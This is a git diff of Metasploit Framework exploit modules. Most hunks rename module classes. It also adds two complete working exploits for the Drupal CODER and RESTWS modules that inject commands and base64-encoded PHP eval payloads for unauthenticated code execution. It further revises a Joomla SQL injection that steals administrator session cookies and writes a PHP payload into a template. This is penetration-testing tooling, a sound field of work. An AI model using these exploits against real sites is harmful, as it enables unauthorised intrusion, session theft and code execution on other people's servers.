Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb index 045be447c2..247850e4b8 100644 --- a/modules/exploits/unix/webapp/cakephp_cache_corruption.rb +++ b/modules/exploits/unix/webapp/cakephp_cache_corruption.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb index 66e4aed547..108a21e443 100644 --- a/modules/exploits/unix/webapp/carberp_backdoor_exec.rb +++ b/modules/exploits/unix/webapp/carberp_backdoor_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb index 0e8aad113d..30434c954c 100644 --- a/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb +++ b/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb index 2c98d91f63..538cc64d7a 100644 --- a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/coppermine_piceditor.rb b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 948a9108db..4d589b50b6 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb index d39e728937..603c96f61f 100644 --- a/modules/exploits/unix/webapp/datalife_preview_exec.rb +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/dogfood_spell_exec.rb b/modules/exploits/unix/webapp/dogfood_spell_exec.rb index 7ae0f83833..cd39139bb4 100644 --- a/modules/exploits/unix/webapp/dogfood_spell_exec.rb +++ b/modules/exploits/unix/webapp/dogfood_spell_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/drupal_coder_exec.rb b/modules/exploits/unix/webapp/drupal_coder_exec.rb new file mode 100644 index 0000000000..8542736d30 --- /dev/null +++ b/modules/exploits/unix/webapp/drupal_coder_exec.rb @@ -0,0 +1,109 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Drupal CODER Module Remote Command Execution', + 'Description' => %q{ + This module exploits a Remote Command Execution vulnerability in the + Drupal CODER Module. Unauthenticated users can execute arbitrary + commands under the context of the web server user. + + The CODER module doesn't sufficiently validate user inputs in a script + file that has the PHP extension. A malicious unauthenticated user can + make requests directly to this file to execute arbitrary commands. + The module does not need to be enabled for this to be exploited. + + This module was tested against CODER 2.5 with Drupal 7.5 installed on + Ubuntu Server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Nicky Bloor ', # discovery + 'Mehmet Ince ' # msf module + ], + 'References' => + [ + ['URL', 'https://www.drupal.org/node/2765575'] + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 250, + 'DisableNops' => true, + 'BadChars' => "\x2f", + 'Compat' => + { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic netcat netcat-e bash-tcp' + }, + }, + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Jul 13 2016', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']) + ] + ) + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), + ) + + if res && res.body.include?('file parameter is not setNo path to parameter file') + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def exploit + p = '' + p << 'a:6:{s:5:"paths";a:3:{s:12:"modules_base";s:8:"../../..";s:10:"files_base";s:5:"../..";s:14:"libraries_base";s:5:"../..";}' + p << 's:11:"theme_cache";s:16:"theme_cache_test";' + p << 's:9:"variables";s:14:"variables_test";' + p << 's:8:"upgrades";a:1:{i:0;a:2:{s:4:"path";s:2:"..";s:6:"module";s:3:"foo";}}' + p << 's:10:"extensions";a:1:{s:3:"php";s:3:"php";}' + p << 's:5:"items";a:1:{i:0;a:3:{s:7:"old_dir";s:12:"../../images";' + p << 's:7:"new_dir";s:' + p << (payload.encoded.length + 5).to_s + p << ':"-v;' + p << payload.encoded + p << ' #";s:4:"name";s:4:"test";}}}' + + pl = "data://text/plain;base64,#{Rex::Text.encode_base64(p)}" + + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php'), + 'encode_params' => false, + 'vars_get' => { + 'file' => pl + } + ) + end + + # XXX: FileDropper can't handle weird filenames + def on_new_session(session) + # This find command should be decently portable... + command = '[ -f coder_upgrade.run.php ] && find . \! -name coder_upgrade.run.php -delete' + print_status("Cleaning up: #{command}") + session.shell_command_token(command) + end +end diff --git a/modules/exploits/unix/webapp/drupal_restws_exec.rb b/modules/exploits/unix/webapp/drupal_restws_exec.rb new file mode 100644 index 0000000000..60a04da31a --- /dev/null +++ b/modules/exploits/unix/webapp/drupal_restws_exec.rb @@ -0,0 +1,86 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Drupal RESTWS Module Remote PHP Code Execution', + 'Description' => %q{ + This module exploits a Remote PHP Code Execution vulnerability in the + Drupal RESTWS Module. Unauthenticated users can execute arbitrary code + under the context of the web server user. + + RESTWS alters the default page callbacks for entities to provide + additional functionality. A vulnerability in this approach allows + an unauthenticated attacker to send specially crafted requests resulting + in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7 + are affected by this issue. + + This module was tested against RESTWS 2.5 with Drupal 7.5 installed on + Ubuntu Server. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Devin Zuczek', # discovery + 'Mehmet Ince ' # msf module + ], + 'References' => + [ + ['URL', 'https://www.drupal.org/node/2765567'] + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true + }, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [ ['Automatic', {}] ], + 'DisclosureDate' => 'Jul 13 2016', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/']) + ] + ) + end + + def check + r = rand_text_alpha(8 + rand(4)) + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => { + 'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'" + } + ) + + if res && res.body.include?(r) + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end + end + + def exploit + cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'" + + send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.php'), + 'vars_get' => { + 'q' => "taxonomy_vocabulary//passthru/#{cmd}" + } + ) + end +end diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 8b24944c6f..bbbfdab839 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 6324068bf5..ed1b03f3f3 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/foswiki_maketext.rb b/modules/exploits/unix/webapp/foswiki_maketext.rb index 0cb8ac52d9..297c2c987f 100644 --- a/modules/exploits/unix/webapp/foswiki_maketext.rb +++ b/modules/exploits/unix/webapp/foswiki_maketext.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/freepbx_config_exec.rb b/modules/exploits/unix/webapp/freepbx_config_exec.rb index f530c09ab0..ce9fec4a64 100644 --- a/modules/exploits/unix/webapp/freepbx_config_exec.rb +++ b/modules/exploits/unix/webapp/freepbx_config_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/generic_exec.rb b/modules/exploits/unix/webapp/generic_exec.rb index 2ae8d9d41a..d5969f2945 100644 --- a/modules/exploits/unix/webapp/generic_exec.rb +++ b/modules/exploits/unix/webapp/generic_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb index 5d3afc9353..110a0ca5ec 100644 --- a/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb +++ b/modules/exploits/unix/webapp/get_simple_cms_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb index bc505ad66f..97d0e53509 100644 --- a/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb +++ b/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer diff --git a/modules/exploits/unix/webapp/graphite_pickle_exec.rb b/modules/exploits/unix/webapp/graphite_pickle_exec.rb index 29ebbb1775..527d3b92b8 100644 --- a/modules/exploits/unix/webapp/graphite_pickle_exec.rb +++ b/modules/exploits/unix/webapp/graphite_pickle_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -20,7 +20,8 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Charlie Eriksen' # Initial discovery and exploit + 'Charlie Eriksen', # Initial discovery and exploit + 'funkypickle' # Version check to prove vulnerable ], 'License' => MSF_LICENSE, 'References' => @@ -53,13 +54,19 @@ class Metasploit3 < Msf::Exploit::Remote end def check - response = send_request_cgi({ + res1 = send_request_cgi({ + # trailing slash required + 'uri' => normalize_uri(target_uri.path, 'version/'), + 'method' => 'GET' + }) + + res2 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'render', 'local'), 'method' => 'POST' }) - if response and response.code == 500 - return Exploit::CheckCode::Detected + if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500) + return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end diff --git a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb index 53b9e6911c..3be8d20512 100644 --- a/modules/exploits/unix/webapp/guestbook_ssi_exec.rb +++ b/modules/exploits/unix/webapp/guestbook_ssi_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/hastymail_exec.rb b/modules/exploits/unix/webapp/hastymail_exec.rb index 8840dc855c..1d3a6013ee 100644 --- a/modules/exploits/unix/webapp/hastymail_exec.rb +++ b/modules/exploits/unix/webapp/hastymail_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/havalite_upload_exec.rb b/modules/exploits/unix/webapp/havalite_upload_exec.rb index f76388a42d..f74529955c 100644 --- a/modules/exploits/unix/webapp/havalite_upload_exec.rb +++ b/modules/exploits/unix/webapp/havalite_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/horde_unserialize_exec.rb b/modules/exploits/unix/webapp/horde_unserialize_exec.rb index ecfd1ac294..cb51feb8a5 100644 --- a/modules/exploits/unix/webapp/horde_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/horde_unserialize_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb index 6b495eed60..1932c444a3 100644 --- a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking # application config.php is overwritten include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/instantcms_exec.rb b/modules/exploits/unix/webapp/instantcms_exec.rb index 0fb2359c31..593e52d53b 100644 --- a/modules/exploits/unix/webapp/instantcms_exec.rb +++ b/modules/exploits/unix/webapp/instantcms_exec.rb @@ -1,7 +1,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking diff --git a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb index e2b2f8b485..c684cd70a8 100644 --- a/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb index 7836c4732d..7fd532a986 100644 --- a/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb +++ b/modules/exploits/unix/webapp/joomla_akeeba_unserialize.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/zip' require 'json' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb index af1204f917..f36e78b209 100644 --- a/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb +++ b/modules/exploits/unix/webapp/joomla_comjce_imgmanager.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb index a48ba48d99..337e7d0514 100644 --- a/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb +++ b/modules/exploits/unix/webapp/joomla_contenthistory_sqli_rce.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote # The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history. # This way we make sure that's excluded and we only get real admin sessions. - sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)" + sql = " (select col.a from (select count(*), concat(0x3a, 0x3a, (select substr(session_id,1,100) from #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL limit 0,1), 0x3a, 0x3a, floor(rand()*2)) a from information_schema.columns i1 group by a) col),'A' union select uc.id " # Retrieve cookies res = send_request_cgi({ @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/ table_prefix = $1 - print_status("Retrieved table prefix [ #{table_prefix} ]") + print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix") end @@ -116,9 +116,9 @@ class Metasploit3 < Msf::Exploit::Remote # Retrieve the admin session using our retrieved table prefix res = sqli("#{table_prefix}_") - if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/ - auth_cookie_part = $1[0...-1] - print_status("Retrieved admin cookie [ #{auth_cookie_part} ]") + if res && res.code == 500 && res.body =~ /::([A-Za-z0-9]*)::/ + auth_cookie_part = $1 + print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]") else fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!") end @@ -131,7 +131,7 @@ class Metasploit3 < Msf::Exploit::Remote if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/ cookie_begin = $1 - print_status("Retrieved unauthenticated cookie [ #{cookie_begin} ]") + print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]") else fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie") end @@ -150,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote }) if res && res.code == 200 && res.body =~ /Administration - Control Panel/ - print_status("Successfully authenticated as Administrator") + print_status("#{peer} - Successfully authenticated as Administrator") else fail_with(Failure::Unknown, "#{peer} - Session failure") end @@ -178,7 +178,7 @@ class Metasploit3 < Msf::Exploit::Remote filename = rand_text_alphanumeric(rand(10)+6) # Create file - print_status("Creating file [ #{filename}.php ]") + print_status("#{peer} - Creating file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), @@ -198,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote # Grab token if res && res.code == 303 && res.headers['Location'] location = res.headers['Location'] - print_status("Following redirect to [ #{location} ]") + print_status("#{peer} - Following redirect to [ #{location} ]") res = send_request_cgi( 'uri' => location, 'method' => 'GET', @@ -208,14 +208,14 @@ class Metasploit3 < Msf::Exploit::Remote # Retrieving template token if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/ token = $1 - print_status("Token [ #{token} ] retrieved") + print_status("#{peer} - Token [ #{token} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Retrieving token failed") end if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/ template_path = $1 - print_status("Template path [ #{template_path} ] retrieved") + print_status("#{peer} - Template path [ #{template_path} ] retrieved") else fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path") end @@ -227,7 +227,7 @@ class Metasploit3 < Msf::Exploit::Remote filename_base64 = Rex::Text.encode_base64("/#{filename}.php") # Inject payload data into file - print_status("Insert payload into file [ #{filename}.php ]") + print_status("#{peer} - Insert payload into file [ #{filename}.php ]") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, "administrator", "index.php"), @@ -248,14 +248,14 @@ class Metasploit3 < Msf::Exploit::Remote }) if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/ - print_status("Payload data inserted into [ #{filename}.php ]") + print_status("#{peer} - Payload data inserted into [ #{filename}.php ]") else fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]") end # Request payload register_files_for_cleanup("#{filename}.php") - print_status("Executing payload") + print_status("#{peer} - Executing payload") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"), diff --git a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb index 5d2cb35756..1e7eb42741 100644 --- a/modules/exploits/unix/webapp/joomla_media_upload_exec.rb +++ b/modules/exploits/unix/webapp/joomla_media_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 5286bf927d..15e2279e94 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb index 51c9a53ffa..3b8111d4b0 100644 --- a/modules/exploits/unix/webapp/kimai_sqli.rb +++ b/modules/exploits/unix/webapp/kimai_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/libretto_upload_exec.rb b/modules/exploits/unix/webapp/libretto_upload_exec.rb index b68a39ed2e..af5e4c5445 100644 --- a/modules/exploits/unix/webapp/libretto_upload_exec.rb +++ b/modules/exploits/unix/webapp/libretto_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb index 8524edfb3a..f12ba7d45d 100644 --- a/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb +++ b/modules/exploits/unix/webapp/maarch_letterbox_file_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'uri' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/mambo_cache_lite.rb b/modules/exploits/unix/webapp/mambo_cache_lite.rb index ad270f3590..a3d237047f 100644 --- a/modules/exploits/unix/webapp/mambo_cache_lite.rb +++ b/modules/exploits/unix/webapp/mambo_cache_lite.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp diff --git a/modules/exploits/unix/webapp/mitel_awc_exec.rb b/modules/exploits/unix/webapp/mitel_awc_exec.rb index 8179ffc36a..943f3d32ac 100644 --- a/modules/exploits/unix/webapp/mitel_awc_exec.rb +++ b/modules/exploits/unix/webapp/mitel_awc_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb index 1f0f109a81..1a558a3e0d 100644 --- a/modules/exploits/unix/webapp/moinmoin_twikidraw.rb +++ b/modules/exploits/unix/webapp/moinmoin_twikidraw.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/mybb_backdoor.rb b/modules/exploits/unix/webapp/mybb_backdoor.rb index 3f92aa03d9..084d6f44b9 100644 --- a/modules/exploits/unix/webapp/mybb_backdoor.rb +++ b/modules/exploits/unix/webapp/mybb_backdoor.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/nagios3_history_cgi.rb b/modules/exploits/unix/webapp/nagios3_history_cgi.rb index 3f0ec69676..9329442d45 100644 --- a/modules/exploits/unix/webapp/nagios3_history_cgi.rb +++ b/modules/exploits/unix/webapp/nagios3_history_cgi.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'rex' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb index dde396f3d6..75bd25e80d 100644 --- a/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb +++ b/modules/exploits/unix/webapp/nagios3_statuswml_ping.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/nagios_graph_explorer.rb b/modules/exploits/unix/webapp/nagios_graph_explorer.rb index 44a9e6123d..3f39baba91 100644 --- a/modules/exploits/unix/webapp/nagios_graph_explorer.rb +++ b/modules/exploits/unix/webapp/nagios_graph_explorer.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/narcissus_backend_exec.rb b/modules/exploits/unix/webapp/narcissus_backend_exec.rb index 8660cf678d..6a18933811 100644 --- a/modules/exploits/unix/webapp/narcissus_backend_exec.rb +++ b/modules/exploits/unix/webapp/narcissus_backend_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb 